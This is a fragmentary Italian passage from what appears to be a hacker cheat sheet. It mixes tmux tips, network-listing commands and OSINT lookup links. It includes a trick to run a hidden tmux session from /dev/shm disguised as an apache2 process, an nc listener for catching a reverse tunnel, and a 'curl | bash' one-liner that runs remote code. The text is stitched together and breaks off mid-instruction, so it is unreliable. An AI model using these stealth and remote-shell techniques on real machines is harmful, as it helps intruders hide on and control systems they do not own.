| Pulisci | tmux send-keys -R C-l \; clear-history -t6.0 per pulire lo schermo ed eliminare la cronologia di scrollback. |
| Registrazione | Ctrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'Premi Ctrl-b + Shift + P per avviare e fermare. |
| TmuxNascosto | cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cachePer collegarti alla tua sessione esegui cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach |
| Collegati | Avvia un nuovo tmux, poi digita Ctrl-b + s e usa LEFT, RIGHT per visualizzare e selezionare qualsiasi sessione. |
| Menu | Ctrl-b + >. Poi usa Ctrl-b + UP, DOWN, LEFT o RIGHT per spostarti tra i pannelli. |
Usa lsof -Pni o netstat -putan (o ss -putan) per elencare tutte le connessioni Internet (-tu).
Usa ss -lntp per mostrare tutti i socket TCP (-t) in ascolto (-l).
Usa netstat -rn o ip route show per mostrare la route Internet predefinita.
Usa curl cheat.sh/tar per ottenere l'aiuto TLDR per tar. Funziona con qualsiasi altro comando Linux.
Usa curl -fsSL bench.sh | bash per eseguire uno speed test di un server.
Hackerare su collegamenti ad alta latenza o lenti può essere frustrante. Ogni tasto viene trasmesso uno alla volta e qualsiasi errore di battitura diventa molto più frustrante e dispendioso da correggere. rlwrap viene in soccorso. Bufferizza tutti i singoli tasti finché non viene premuto Invio e poi trasmette l'intera riga in una volta. Questo rende molto più facile digitare ad alta velocità, correggere gli errori di battitura, ...
Esempio per l'estremità ricevente di un tunnel inverso:```sh rlwrap --always-readline nc -vnlp 1524
Esempio per *SSH*:```sh
rlwrap --always-readline ssh user@host
Ci sono molti modi, ma uno è questo:
Shoutz: ADM, subz/#9x, DrWho, spoty Unisciti a noi su Telegram.
| Informazioni sulle celle telefoniche |
| https://www.shodan.io/ | Motore di ricerca per trovare dispositivi e banner (non gratuito) |
| https://spur.us/context/me | Valutazione IP https://spur.us/context/<IP> |
| http://drs.whoisxmlapi.com | Ricerca Whois inversa (non gratuita) |
| https://www.abuseipdb.com | Valutazione degli abusi IP |